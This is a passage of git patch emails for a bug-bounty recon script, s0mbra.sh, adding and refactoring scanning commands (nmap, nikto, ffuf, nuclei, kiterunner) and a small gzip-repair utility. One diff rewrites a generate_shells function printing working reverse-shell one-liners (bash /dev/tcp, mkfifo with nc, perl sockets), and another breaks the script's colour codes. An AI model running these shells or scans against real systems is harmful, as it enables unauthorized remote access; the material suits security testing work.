"bl4de/HackerOne" + # ffuf ffuf -ac -c -w $DICT_HOME/starter.txt -u https://$HOSTNAME/FUZZ -mc=200,206,301,302,403,422,429,500 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -o $TMPDIR/s0mbra_recon_ffuf_starter_$HOSTNAME.log ffuf -ac -c -w $DICT_HOME/lowercase.txt -u https://$HOSTNAME/FUZZ/ -mc=200,206,301,302,403,422,429,500 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -o $TMPDIR/s0mbra_recon_ffuf_lowercase_$HOSTNAME.log From 200189c5688ba7635f54fd6723a8cad8e9fe6077 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Wed, 15 Dec 2021 02:57:59 +0000 Subject: [PATCH 139/369] [s0mbra] new commands - kiterunner, pysast --- s0mbra.sh | 46 ++++++++++++++++++++++++++++++++++++++++------ 1 file changed, 40 insertions(+), 6 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index f264482..fd17ef4 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -8,7 +8,7 @@ HACKING_HOME="/Users/bl4de/hacking" GRAY='\033[1;30m' -RED='\033[1;31m' +RED=' $CLR' GREEN='\033[1;32m' LIGHTGREEN='\033[32m' YELLOW='\033[1;33m' @@ -296,6 +296,32 @@ ransack() { echo -e "\n$BLUE[+] Done.$CLR" } +kiterunner() { + HOSTNAME=$1 + echo -e "$BLUE[+] Running kiterunner using apis file...$CLR\n" + + kr scan apis -w $DICT_HOME/routes-large.kite -x 20 -j 100 --fail-status-codes 400,401,404,403,501,502,426,411 + echo -e "\n$BLUE[+] Done.$CLR" +} + +# Python Static Source Code analysis +pysast() { + FILE_NAME=$1 + echo -e "$BLUE[+] Running pyflakes against $FILE_NAME $CLR\n" + python3 -m pyflakes $FILE_NAME + + echo -e "$BLUE[+] Running mypy against $FILE_NAME $CLR\n" + python3 -m mypy $FILE_NAME + + echo -e "\n$BLUE[+] Running bandit against $FILE_NAME $CLR\n" + python3 -m bandit -r $FILE_NAME + + echo -e "\n$BLUE[+] Running vulture against $FILE_NAME $CLR\n" + python3 -m vulture $FILE_NAME + + echo -e "\n$BLUE[+] Done.$CLR" +} + # checking AWS S3 bucket s3() { echo -e "$BLUE[+] Checking AWS S3 $1 bucket$CLR" @@ -441,10 +467,10 @@ generate_shells() { echo -e "$BLUE[+] OK, here are your shellz...\n$CLR" - echo -e "\033[1;31m[bash]\033[0m bash -i >& /dev/tcp/$1/$port 0>&1" - echo -e "\033[1;31m[bash]\033[0m 0<&196;exec 196<>/dev/tcp/$1/$port; sh <&196 >&196 2>&196" - echo -e "\033[1;31m[bash]\033[0m rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc $1 $port >/tmp/f" - echo -e "\033[1;31m[bash]\033[0m rm -f backpipe; mknod /tmp/backpipe p && nc $ip $port 0backpipe" + echo -e " $CLR[bash]\033[0m bash -i >& /dev/tcp/$1/$port 0>&1" + echo -e " $CLR[bash]\033[0m 0<&196;exec 196<>/dev/tcp/$1/$port; sh <&196 >&196 2>&196" + echo -e " $CLR[bash]\033[0m rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc $1 $port >/tmp/f" + echo -e " $CLR[bash]\033[0m rm -f backpipe; mknod /tmp/backpipe p && nc $ip $port 0backpipe" echo -e "$NEWLINE" echo -e "\033[1;34m[perl]\033[0m perl -e 'use Socket;\$i=\"$1\";\$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in(\$p,inet_aton(\$i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};'" echo -e "\033[1;34m[perl]\033[0m perl -MIO -e '\$p=fork;exit,if(\$p);\$c=new IO::Socket::INET(PeerAddr,\"$1:$port\");STDIN->fdopen(\$c,r);$~->fdopen(\$c,w);system\$_ while<>;'" @@ -492,6 +518,12 @@ case "$cmd" in ransack) ransack "$2" ;; + kiterunner) + kiterunner "$2" + ;; + pysast) + pysast "$2" + ;; full_nmap_scan) full_nmap_scan "$2" "$3" ;; @@ -568,7 +600,8 @@ case "$cmd" in echo -e "Usage:\t$YELLOW s0mbra.sh {cmd} {arg1} {arg2}...{argN}\n" echo -e "$BLUE:: RECON ::$CLR" echo -e "\t$CYAN recon $GRAY[DOMAIN]$CLR\t\t\t\t\t -> basic recon: subfinder + nmap + httpx + ffuf + nuclei (one tool at the time on all hosts)" - echo -e "\t$CYAN ransack $GRAY[HOST]$CLR\t\t\t\t\t -> bruteforce recon on host: nmap (top 1000 ports) + ffuf + nuclei" + echo -e "\t$CYAN ransack $GRAY[HOST]$CLR\t\t\t\t\t -> bruteforce recon on host: nmap (top 1000 ports) + nikto + ffuf + nuclei" + echo -e "\t$CYAN kiterunner $GRAY[HOST] (*apis)$CLR\t\t\t -> runs kiterunner against apis file on [HOST] (create apis file first ;) )" echo -e "\t$CYAN htpx $GRAY[DOMAINS_LIST] [OUTPUT_FILE] $CLR\t\t -> httpx against DOMAINS_LIST, matching 200, 403 and 500 + stack, web server discovery" echo -e "\t$CYAN quick_nmap_scan $GRAY[IP] [*PORTS]$CLR\t\t\t -> nmap --top-ports [PORTS] to quickly enumerate open N-ports" echo -e "\t$CYAN full_nmap_scan $GRAY[IP] [*PORTS]$CLR\t\t\t -> nmap --top-ports [PORTS] to enumerate ports; -p- if no [PORTS] given; then -sV -sC -A on found open ports" @@ -593,6 +626,7 @@ case "$cmd" in echo -e "\t$CYAN npm_scan $GRAY[MODULE_NAME]\t\t$YELLOW(JavaScript)$CLR\t -> static code analysis of MODULE_NAME npm module with nodestructor" echo -e "\t$CYAN javascript_sca $GRAY[FILE_NAME]\t$YELLOW(JavaScript)$CLR\t -> static code analysis of single JavaScript file with nodestructor" echo -e "\t$CYAN decompile_jar $GRAY[.jar FILE]\t$YELLOW(Java)$CLR\t\t -> open FILE.jar file in JD-Gui" + echo -e "\t$CYAN pysast $GRAY[.py FILE]\t\t$YELLOW(Python)$CLR\t -> Static Code Analysis of Python file with pyflakes, mypy, bandit and vulture" echo -e "$BLUE:: ANDROID ::$CLR" echo -e "\t$CYAN jadx $GRAY[.apk FILE]\t\t$YELLOW(Java)$CLR\t\t -> open FILE.apk file in JADX GUI" echo -e "\t$CYAN dex_to_jar $GRAY[.dex file]$CLR\t\t\t\t -> exports .dex file into .jar" From 9315746eaa94352f7a4f086d9484cb2d375e98f0 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Wed, 15 Dec 2021 10:08:18 +0000 Subject: [PATCH 140/369] [s0mbra] some changes in pysast() --- s0mbra.sh | 18 +++++++++--------- 1 file changed, 9 insertions(+), 9 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index fd17ef4..3d7a20b 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -306,18 +306,18 @@ kiterunner() { # Python Static Source Code analysis pysast() { - FILE_NAME=$1 - echo -e "$BLUE[+] Running pyflakes against $FILE_NAME $CLR\n" - python3 -m pyflakes $FILE_NAME + DIR_NAME=$1 + echo -e "$BLUE[+] Running pyflakes against $DIR_NAME $CLR\n" + python3 -m pyflakes $DIR_NAME - echo -e "$BLUE[+] Running mypy against $FILE_NAME $CLR\n" - python3 -m mypy $FILE_NAME + echo -e "$BLUE[+] Running mypy against $DIR_NAME $CLR\n" + python3 -m mypy $DIR_NAME - echo -e "\n$BLUE[+] Running bandit against $FILE_NAME $CLR\n" - python3 -m bandit -r $FILE_NAME + echo -e "\n$BLUE[+] Running bandit against $DIR_NAME $CLR\n" + python3 -m bandit -r $DIR_NAME - echo -e "\n$BLUE[+] Running vulture against $FILE_NAME $CLR\n" - python3 -m vulture $FILE_NAME + echo -e "\n$BLUE[+] Running vulture against $DIR_NAME $CLR\n" + python3 -m vulture $DIR_NAME echo -e "\n$BLUE[+] Done.$CLR" } From 517fd78bf3577aed33100a9e0bb90b1c3ea8d946 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Fri, 17 Dec 2021 14:51:23 +0000 Subject: [PATCH 141/369] [s0mbra] added snyktest command (snyk integration) --- s0mbra.sh | 13 +++++++++++++ 1 file changed, 13 insertions(+) diff --git a/s0mbra.sh b/s0mbra.sh index 3d7a20b..dd55909 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -135,6 +135,15 @@ npm_scan() { echo -e "\n\n[+]Done." } + +# static code analysis of npm module installed in ~/node_modules +# with nodestructor and semgrep +snyktest() { + echo -e "$BLUE[+] Starting snyk test in current directory...$CLR" + snyk test + echo -e "\n\n[+]Done." +} + # static code analysis of single JavaScript code javascript_sca() { echo -e "$BLUE[+] Starting static code analysis of $1 file with nodestructor and semgrep...$CLR" @@ -548,6 +557,9 @@ case "$cmd" in npm_scan) npm_scan "$2" ;; + snyktest) + snyktest + ;; javascript_sca) javascript_sca "$2" ;; @@ -624,6 +636,7 @@ case "$cmd" in echo -e "\t$CYAN rockyou_zip $GRAY[ZIP file]$CLR\t\t\t\t -> crack ZIP password" echo -e "$BLUE:: STATIC CODE ANALYSIS ::$CLR" echo -e "\t$CYAN npm_scan $GRAY[MODULE_NAME]\t\t$YELLOW(JavaScript)$CLR\t -> static code analysis of MODULE_NAME npm module with nodestructor" + echo -e "\t$CYAN snyktest $GRAY[DIR]\t\t\t$YELLOW(JavaScript)$CLR\t -> runs snyk test on DIR (this should be root of Node app, where package.json exists)" echo -e "\t$CYAN javascript_sca $GRAY[FILE_NAME]\t$YELLOW(JavaScript)$CLR\t -> static code analysis of single JavaScript file with nodestructor" echo -e "\t$CYAN decompile_jar $GRAY[.jar FILE]\t$YELLOW(Java)$CLR\t\t -> open FILE.jar file in JD-Gui" echo -e "\t$CYAN pysast $GRAY[.py FILE]\t\t$YELLOW(Python)$CLR\t -> Static Code Analysis of Python file with pyflakes, mypy, bandit and vulture" From 13020f834958dade8fb81e2077a9e7fc9b0f74f3 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sun, 19 Dec 2021 00:36:36 +0000 Subject: [PATCH 142/369] [s0mbra] removed nmap_vuln_scan option --- s0mbra.sh | 24 ------------------------ 1 file changed, 24 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index dd55909..5d34d46 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -43,26 +43,6 @@ full_nmap_scan() { echo -e "$BLUE\n[+] Done! $CLR" } -# --script=vulscan/vulscan.nse -# requires: https://github.com/scipag/vulscan -nmap_vuln_scan() { - if [[ -z "$2" ]]; then - echo -e "$BLUE[+] Running full nmap scan with vulnerability scanning against all ports on $1" - echo -e " Will probably take a while, so go grab some coffee or something.... $CYAN" - ports=$(nmap -p- $1 | grep open | cut -d'/' -f 1 | tr '\n' ',') - echo -e "$BLUE[+] running version detection + nse scripts against $ports...$CYAN" - nmap -p"$ports" -sV -sC -A -n --script=vulscan/vulscan.nse "$1" -oN ./"$1".log -oX ./"$1".xml - else - echo -e "$BLUE[+] Running full nmap scan with vulnerability scanning against $2 port(s) on $1 ..." - echo -e " Will probably take a while, so go grab some coffee or something...." - echo -e " ...search open ports... $CYAN" - ports=$(nmap --top-ports "$2" $1 | grep open | cut -d'/' -f 1 | tr '\n' ',') - echo -e "$BLUE[+] running version detection + nse scripts against $ports...$CYAN" - nmap -p"$ports" -sV -sC -A -n --script=vulscan/vulscan.nse "$1" -oN ./"$1".log -oX ./"$1".xml - fi - - echo -e "$BLUE\n[+] Done! $CLR" -} # runs --top-ports $2 against IP quick_nmap_scan() { @@ -539,9 +519,6 @@ case "$cmd" in quick_nmap_scan) quick_nmap_scan "$2" "$3" ;; - nmap_vuln_scan) - nmap_vuln_scan "$2" "$3" - ;; http) http "$2" ;; @@ -617,7 +594,6 @@ case "$cmd" in echo -e "\t$CYAN htpx $GRAY[DOMAINS_LIST] [OUTPUT_FILE] $CLR\t\t -> httpx against DOMAINS_LIST, matching 200, 403 and 500 + stack, web server discovery" echo -e "\t$CYAN quick_nmap_scan $GRAY[IP] [*PORTS]$CLR\t\t\t -> nmap --top-ports [PORTS] to quickly enumerate open N-ports" echo -e "\t$CYAN full_nmap_scan $GRAY[IP] [*PORTS]$CLR\t\t\t -> nmap --top-ports [PORTS] to enumerate ports; -p- if no [PORTS] given; then -sV -sC -A on found open ports" - echo -e "\t$CYAN nmap_vuln_scan $GRAY[IP] [*PORTS]$CLR\t\t\t -> nmap --top-ports [PORTS] to enumerate ports; -p- if no [PORTS] given; then -sV -sC -A --script=vulscan/vulscan.nse on found open ports" echo -e "\t$CYAN nfs_enum $GRAY[IP]$CLR\t\t\t\t\t -> enumerates nfs shares on [IP] (2049 port has to be open/listed in rpcinfo)" echo -e "$BLUE:: AMAZON AWS S3 ::$CLR" echo -e "\t$CYAN s3 $GRAY[bucket]$CLR\t\t\t\t\t -> checks privileges on AWS S3 bucket (ls, cp, mv etc.)" From 21f6539d376ea3e4c36c511ef0e8a835f4b92187 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sun, 19 Dec 2021 11:05:07 +0000 Subject: [PATCH 143/369] [fixgz] an utility to fix corrupted .gz files --- fixgz | Bin 0 -> 49648 bytes fixgz.cpp | 52 ++++++++++++++++++++++++++++++++++++++++++++++++++++ 2 files changed, 52 insertions(+) create mode 100755 fixgz create mode 100644 fixgz.cpp diff --git a/fixgz b/fixgz new file mode 100755 index 0000000000000000000000000000000000000000..71f6d9cfc73c4437564f056e301828f25293b038 GIT binary patch literal 49648 zcmeI*L1-LR7zgmTX_9VZ+9V*QV%4!4Z55MLS_qZYP0iwjhBn$%iVBb2>?B#)Y?j?w zng2M;+|*+7KoL4u0w|9fv{vpY@Ch4O#!=DqLD zH{ZPZ&8D}ZKmPsufBTh+?Nds%pm(ERX;W%hIhZN+5W0)5_4x41$=8#wUX<157Hbao zjHJ#w61AR4UYTf4G1n)W*HjQ=D=O@gp|$VL`!cgFTJPo%9tNk9!KNf`4U=VTRf~pdD|gmHL5JgC*AFBG#hy9(>W(I~U|jEbjGo$NnZu zeleS$4icjEUJL4lq!Kr_rrJ26bvb`Eo6qQMernFd&F|x@pq{*QX%a_k*faJh@AVUO ztw)9@hV@GqFI=))N!aI97)^_e@_UmmuStG$T2Ie4ywD#pdgz7U(1utT`7@R_yFrF3awHa(Zq1;2RLddKbMroPk&8~(PG^ss52N%^TT zx^sWW7w!JyL5jqU^>(kcv)#YXvC#|XlOvNT#Ga(*8>|&h9D0$*@1pOxB4vdT6D^pAAm(xygIL7Rdm`N2m$|2&U12VM4Hu8wt@ zxwX92@(fnH%{hC(vo4zF!M_)cP3}90F6ZoT;xYWpV!M06el9JPd~dezTp#w8P1~!V z!XWj(ShJodf>^xRC_n)UP=Epypa2CZKmiI+fC3bt00k&O0SZun0u-PC1t>rP3Q&Lo z6rcbFC_n)UP=Epypa2CZKmiI+fC3bt00k&O0SZun0u;Ev1TMQPx80?!fm_Lc<-t}e zJMKz(d#SS1()HmnEV!#}C-9x3yE^DzKV8Pxk0;lv4uofZ{fzUr*f%EA6zj(MgcSSQ7F%yF_Hk1& zNj_|gy$>(V=1Y~WgI&w=x#?1++R=4QKF(aN zAh*0;9hP~ric2@wYPA|taZzJ}gM^c{DsHT9)OuTyU+Zl*$GACmm}4i7W7i)!h++6r zt@pNM&)}doe?!$7DY*HI%;dw{&7Wi@pL%ZoAhXjl`xdiuDK+h#ai+5K)9*OxRHhFD z0#7C#s+d;h%o%4gmCw)l&RoIEJH4e2bv1fsvgoCJ&z!U0vL3}Pq&1H6U8;QNehQ;> z`9@uu%;kGm`SP_JJ!thwxWJJD6rcbFC_n)UP=Epypa2CZKmiI+fC3bt00k&O0SZun z0u-PC1t>rP3Q&Lo6rcbFC_n)UP=Epypa2CZKmiI+fC3bt00k&O0SZun0u-PC1t>s) zdn@o{@c+H{1>;~ao(smYV7#}xrP3Q&Lo6rcbFC_n)UP=Epy zpa2CZKmiI+fC3bt00k&O0SZun0u-PC1t>rP3Q&Lo6rcbFC_n)UP=Epypa2CZKmiI+ zfCBfoK+hBEvOHl=LTg>}GhVS+P_Go#jYMW4m%&Oot<%{&*3}KkD@mp|pY;)z;+RiO zd;X*Z-4e_dyu1WQBq$WKd4Ebm$Ao2*C{@s6TD7SbJv)PH-elSL^o*C1+dMv-%H~yX z3v%|Uo9~)rRiC_x_)uJ_N$i_$Qx}=)+G>!=B@pF;*R3v^O z5|2dU^O3j}aT|I&`hIk56_26R0rb7jIZE$gpp8Mp8?od8cEDT*#zbiEcwt(bCA@~W KQ@)1{p#2YMI*(2O literal 0 HcmV?d00001 diff --git a/fixgz.cpp b/fixgz.cpp new file mode 100644 index 0000000..1e869c6 --- /dev/null +++ b/fixgz.cpp @@ -0,0 +1,52 @@ +/* fixgz attempts to fix a binary file transferred in ascii mode by + * removing each extra CR when it followed by LF. + * usage: fixgz bad.gz fixed.gz + + * Copyright 1998 Jean-loup Gailly + * This software is provided 'as-is', without any express or implied + * warranty. In no event will the author be held liable for any damages + * arising from the use of this software. + + * Permission is granted to anyone to use this software for any purpose, + * including commercial applications, and to alter it and redistribute it + * freely. + */ + +#include +#include + +int main(int argc, char* argv[]) +{ + int c1, c2; /* input bytes */ + FILE* in; /* corrupted input file */ + FILE* out; /* fixed output file */ + + if (argc <= 2) { + fprintf(stderr, "usage: fixgz bad.gz fixed.gz\n"); + exit(1); + } + in = fopen(argv[1], "rb"); + if (in == NULL) { + fprintf(stderr, "fixgz: cannot open %s\n", argv[1]); + exit(1); + } + out = fopen(argv[2], "wb"); + if (in == NULL) { + fprintf(stderr, "fixgz: cannot create %s\n", argv[2]); + exit(1); + } + + c1 = fgetc(in); + + while ((c2 = fgetc(in)) != EOF) { + if (c1 != '\r' || c2 != '\n') { + fputc(c1, out); + } + c1 = c2; + } + if (c1 != EOF) { + fputc(c1, out); + } + exit(0); + return 0; /* avoid warning */ +} \ No newline at end of file From 59b2d36475b7246e7c4b7b71f78c8207353eec55 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sun, 19 Dec 2021 14:16:36 +0000 Subject: [PATCH 144/369] [s0mbra] ransack refactoring - added proto param --- s0mbra.sh | 32 ++++++++++++++++++-------------- 1 file changed, 18 insertions(+), 14 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 5d34d46..80b7dc4 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -28,15 +28,15 @@ set_ip() { # runs $2 port(s) against IP; then -sV -sC -A against every open port found full_nmap_scan() { if [[ -z "$2" ]]; then - echo -e "$BLUE[+] Running full nmap scan against all ports on $1 ...$CYAN" + echo -e "$BLUE[+] Running full nmap scan against all ports on $1 ...$CLR" ports=$(nmap -p- $1 | grep open | cut -d'/' -f 1 | tr '\n' ',') - echo -e "$BLUE[+] running version detection + nse scripts against $ports...$CYAN" + echo -e "$BLUE[+] running version detection + nse scripts against $ports...$CLR" nmap -p"$ports" -sV -sC -A -n "$1" -oN ./"$1".log -oX ./"$1".xml else - echo -e "$BLUE[+] Running full nmap scan against $2 port(s) on $1 ..." - echo -e " ...search open ports...$CYAN" + echo -e "$BLUE[+] Running full nmap scan against $2 port(s) on $1 ...$CLR" + echo -e " ...search open ports...$CLR" ports=$(nmap --top-ports "$2" $1 | grep open | cut -d'/' -f 1 | tr '\n' ',') - echo -e "$BLUE[+] running version detection + nse scripts against $ports...$CYAN" + echo -e "$BLUE[+] running version detection + nse scripts against $ports...$CLR" nmap -p"$ports" -sV -sC -A -n "$1" -oN ./"$1".log -oX ./"$1".xml fi @@ -254,9 +254,13 @@ recon() { # pass ONLY hostname (without protocol prefix) ransack() { HOSTNAME=$1 - TMPDIR=$(pwd) + PROTO=$2 + rm -rf $(pwd)/s0mbra + mkdir -vp $(pwd)/s0mbra + TMPDIR=$(pwd)/s0mbra + START_TIME=$(date) - echo -e "$BLUE[+] Running bruteforce, dirty recon on $HOSTNAME : nmap + ffuf + nuclei...$CLR\n" + echo -e "$BLUE[+] Running bruteforced, dirty, noisy as hell recon on $PROTO://$HOSTNAME : nmap + ffuf + nuclei...$CLR" # onaws echo -e "\n$GREEN--> onaws? $CLR\n" @@ -264,18 +268,18 @@ ransack() { # nmap echo -e "\n$GREEN--> nmap (top 1000 ports + versioon discovery + nse scripts)$CLR\n" - nmap --top-ports 1000 -n --disable-arp-ping -sV -A -oN $TMPDIR/s0mbra_nmap_$HOSTNAME.tmp $HOSTNAME + nmap --top-ports 10000 -n --disable-arp-ping -sV -A -oN $TMPDIR/s0mbra_nmap_$HOSTNAME.tmp $HOSTNAME # nikto echo -e "\n$GREEN--> nikto (max. 10 minutes) $CLR\n" - nikto -host https://$HOSTNAME -404code 404,301,302,304 -maxtime 10m -o $TMPDIR/s0mbra_nikto_$HOSTNAME.log -Format txt -useragent "bl4de/HackerOne" + nikto -host $PROTO://$HOSTNAME -404code 404,301,302,304 -maxtime 10m -o $TMPDIR/s0mbra_nikto_$HOSTNAME.log -Format txt -useragent "bl4de/HackerOne" # ffuf - ffuf -ac -c -w $DICT_HOME/starter.txt -u https://$HOSTNAME/FUZZ -mc=200,206,301,302,403,422,429,500 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -o $TMPDIR/s0mbra_recon_ffuf_starter_$HOSTNAME.log - ffuf -ac -c -w $DICT_HOME/lowercase.txt -u https://$HOSTNAME/FUZZ/ -mc=200,206,301,302,403,422,429,500 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -o $TMPDIR/s0mbra_recon_ffuf_lowercase_$HOSTNAME.log + ffuf -ac -c -w $DICT_HOME/starter.txt -u $PROTO://$HOSTNAME/FUZZ -mc=200,206,301,302,403,422,429,500 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -o $TMPDIR/s0mbra_recon_ffuf_starter_$HOSTNAME.log + ffuf -ac -c -w $DICT_HOME/lowercase.txt -u $PROTO://$HOSTNAME/FUZZ/ -mc=200,206,301,302,403,422,429,500 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -o $TMPDIR/s0mbra_recon_ffuf_lowercase_$HOSTNAME.log # nuclei - nuclei -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -u $HOSTNAME -o $TMPDIR/s0mbra_nuclei_$HOSTNAME.log; + nuclei -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -u $PROTO://$HOSTNAME -o $TMPDIR/s0mbra_nuclei_$HOSTNAME.log; END_TIME=$(date) echo -e "\n$GREEN[+] Finished!" @@ -505,7 +509,7 @@ case "$cmd" in recon "$2" ;; ransack) - ransack "$2" + ransack "$2" "$3" ;; kiterunner) kiterunner "$2" @@ -589,7 +593,7 @@ case "$cmd" in echo -e "Usage:\t$YELLOW s0mbra.sh {cmd} {arg1} {arg2}...{argN}\n" echo -e "$BLUE:: RECON ::$CLR" echo -e "\t$CYAN recon $GRAY[DOMAIN]$CLR\t\t\t\t\t -> basic recon: subfinder + nmap + httpx + ffuf + nuclei (one tool at the time on all hosts)" - echo -e "\t$CYAN ransack $GRAY[HOST]$CLR\t\t\t\t\t -> bruteforce recon on host: nmap (top 1000 ports) + nikto + ffuf + nuclei" + echo -e "\t$CYAN ransack $GRAY[HOST] [PROTO http/https]$CLR\t\t -> bruteforce recon on host: nmap (top 1000 ports) + nikto + ffuf + nuclei" echo -e "\t$CYAN kiterunner $GRAY[HOST] (*apis)$CLR\t\t\t -> runs kiterunner against apis file on [HOST] (create apis file first ;) )" echo -e "\t$CYAN htpx $GRAY[DOMAINS_LIST] [OUTPUT_FILE] $CLR\t\t -> httpx against DOMAINS_LIST, matching 200, 403 and 500 + stack, web server discovery" echo -e "\t$CYAN quick_nmap_scan $GRAY[IP] [*PORTS]$CLR\t\t\t -> nmap --top-ports [PORTS] to quickly enumerate open N-ports" From 634219e12a26cbe7b2146b9d14010a28c8f924b7 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Tue, 21 Dec 2021 12:23:03 +0000 Subject: [PATCH 145/369] [s0mbra] ransack - HTTP/HTTPS proto optiona (HTTPS by default) --- s0mbra.sh | 10 ++++++++-- 1 file changed, 8 insertions(+), 2 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 80b7dc4..b756312 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -254,7 +254,13 @@ recon() { # pass ONLY hostname (without protocol prefix) ransack() { HOSTNAME=$1 - PROTO=$2 + + if [[ -z $2 ]]; then + PROTO='https' + else + PROTO=$2 + fi + rm -rf $(pwd)/s0mbra mkdir -vp $(pwd)/s0mbra TMPDIR=$(pwd)/s0mbra @@ -279,7 +285,7 @@ ransack() { ffuf -ac -c -w $DICT_HOME/lowercase.txt -u $PROTO://$HOSTNAME/FUZZ/ -mc=200,206,301,302,403,422,429,500 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -o $TMPDIR/s0mbra_recon_ffuf_lowercase_$HOSTNAME.log # nuclei - nuclei -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -u $PROTO://$HOSTNAME -o $TMPDIR/s0mbra_nuclei_$HOSTNAME.log; + nuclei -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -exclude-severity info -u $PROTO://$HOSTNAME -o $TMPDIR/s0mbra_nuclei_$HOSTNAME.log END_TIME=$(date) echo -e "\n$GREEN[+] Finished!" From 943649b863c3cdad627454794bf490daea6c52e4 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Wed, 22 Dec 2021 16:11:53 +0000 Subject: [PATCH 146/369] [s0mbra] fix for colors in nmap_scan --- s0mbra.sh | 2 -- 1 file changed, 2 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 5d34d46..c348851 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -43,7 +43,6 @@ full_nmap_scan() { echo -e "$BLUE\n[+] Done! $CLR" } - # runs --top-ports $2 against IP quick_nmap_scan() { if [[ -z "$2" ]]; then @@ -115,7 +114,6 @@ npm_scan() { echo -e "\n\n[+]Done." } - # static code analysis of npm module installed in ~/node_modules # with nodestructor and semgrep snyktest() { From 7e2e9abe0385523d42674bfa5e6b5cd9e8517c0b Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Thu, 23 Dec 2021 15:16:21 +0000 Subject: [PATCH 147/369] [s0mbra] usage update --- s0mbra.sh | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 9331077..fc90a25 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -258,7 +258,7 @@ ransack() { else PROTO=$2 fi - + rm -rf $(pwd)/s0mbra mkdir -vp $(pwd)/s0mbra TMPDIR=$(pwd)/s0mbra @@ -623,7 +623,7 @@ case "$cmd" in echo -e "\t$CYAN snyktest $GRAY[DIR]\t\t\t$YELLOW(JavaScript)$CLR\t -> runs snyk test on DIR (this should be root of Node app, where package.json exists)" echo -e "\t$CYAN javascript_sca $GRAY[FILE_NAME]\t$YELLOW(JavaScript)$CLR\t -> static code analysis of single JavaScript file with nodestructor" echo -e "\t$CYAN decompile_jar $GRAY[.jar FILE]\t$YELLOW(Java)$CLR\t\t -> open FILE.jar file in JD-Gui" - echo -e "\t$CYAN pysast $GRAY[.py FILE]\t\t$YELLOW(Python)$CLR\t -> Static Code Analysis of Python file with pyflakes, mypy, bandit and vulture" + echo -e "\t$CYAN pysast $GRAY[DIR]\t\t$YELLOW(Python)$CLR\t -> Static Code Analysis of Python file with pyflakes, mypy, bandit and vulture" echo -e "$BLUE:: ANDROID ::$CLR" echo -e "\t$CYAN jadx $GRAY[.apk FILE]\t\t$YELLOW(Java)$CLR\t\t -> open FILE.apk file in JADX GUI" echo -e "\t$CYAN dex_to_jar $GRAY[.dex file]$CLR\t\t\t\t -> exports .dex file into .jar" From c464aaa4cd4b033f9149748dd1794e77f73ea3e5 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Thu, 23 Dec 2021 15:16:50 +0000 Subject: [PATCH 148/369] [s0mbra] formatting --- s0mbra.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/s0mbra.sh b/s0mbra.sh index fc90a25..96a3920 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -623,7 +623,7 @@ case "$cmd" in echo -e "\t$CYAN snyktest $GRAY[DIR]\t\t\t$YELLOW(JavaScript)$CLR\t -> runs snyk test on DIR (this should be root of Node app, where package.json exists)" echo -e "\t$CYAN javascript_sca $GRAY[FILE_NAME]\t$YELLOW(JavaScript)$CLR\t -> static code analysis of single JavaScript file with nodestructor" echo -e "\t$CYAN decompile_jar $GRAY[.jar FILE]\t$YELLOW(Java)$CLR\t\t -> open FILE.jar file in JD-Gui" - echo -e "\t$CYAN pysast $GRAY[DIR]\t\t$YELLOW(Python)$CLR\t -> Static Code Analysis of Python file with pyflakes, mypy, bandit and vulture" + echo -e "\t$CYAN pysast $GRAY[DIR]\t\t\t$YELLOW(Python)$CLR\t -> Static Code Analysis of Python file with pyflakes, mypy, bandit and vulture" echo -e "$BLUE:: ANDROID ::$CLR" echo -e "\t$CYAN jadx $GRAY[.apk FILE]\t\t$YELLOW(Java)$CLR\t\t -> open FILE.apk file in JADX GUI" echo -e "\t$CYAN dex_to_jar $GRAY[.dex file]$CLR\t\t\t\t -> exports .dex file into .jar" From bd0891fe767fb93e10435aff065dff834d1c7763 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sat, 25 Dec 2021 15:43:01 +0000 Subject: [PATCH 149/369] [s0mbra] remove/re-arrange options --- s0mbra.sh | 31 +++---------------------------- 1 file changed, 3 insertions(+), 28 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 96a3920..e88c4c9 